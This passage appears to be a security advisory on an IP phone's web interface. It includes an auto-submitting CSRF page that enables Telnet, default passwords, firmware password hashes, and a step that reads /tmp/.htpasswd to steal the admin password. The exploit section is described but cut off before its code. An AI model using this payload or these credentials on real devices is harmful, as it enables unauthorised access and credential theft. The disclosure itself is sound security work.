#+--------------------------------------------------------------------------------------------------------------------------------+

[0x01] - Hidden page to enable telnet + CSRF

The hidden page http://<IP>/cgi-bin/ConfigManApp.com?Id=10 contains an option to enable Telnet on the phone. Only the "admin" user can access this page.
However the unprivileged user "user" can post directly to ConfigManApp.com and enable Telnet. This default user "user" has the password "user" and is unlikely to be changed by a user.

Also CSRF to enable this is possible:

<html>
<head>
<title>Enable Telnet</title> </head>
<body>
<form name="csrf" action="http://<IP>/cgi-bin/ConfigManApp.com" method="post"> 
<input type="hidden" name="PAGEID" value="10"/>
<input type="hidden" name="CONFIG_DATA" value="1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260"/>
</form>
<script> document.csrf.submit(); </script>
</body>
</html>


[0x02] - Default telnet shell users + passwords

The shell users are hardcoded in the firmware images and are always the same and can't be changed through the webinterface. So after enabling telnet through the hidden page shell access could go unnoticed.

/etc/passwd:
root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:501:501:Guest,,,:/:/bin/sh

/etc/shadow:
root:$1$IJZx7biF$BgyHlA/AgR27VSEBALpqn1:11876:0:99999:7:::
admin:$1$Bwt9zCNI$7rGLYt.wk.axE.6FUNFZe.:11876:0:99999:7:::
guest:$1$A3lIJ0aO$Is8Ym.J/mpNejleongGft.:11876:0:99999:7::: <- password is "guest"

/etc/group:
root:x:0:admin,root
guest:x:1:guest

The file "/tmp/.htpasswd" is world readable and contains the "admin" password for the web interface.


[0x03] - Exploit

The following exploit logs in with the unprivileged user "user" and password "user" in the web interface. Here it enables telnet, logs in with the default user "guest" and password "guest" and executes the shell command specified.
An example is to do a "cat /tmp/.htpasswd" to retrieve the admin password for the web interface.
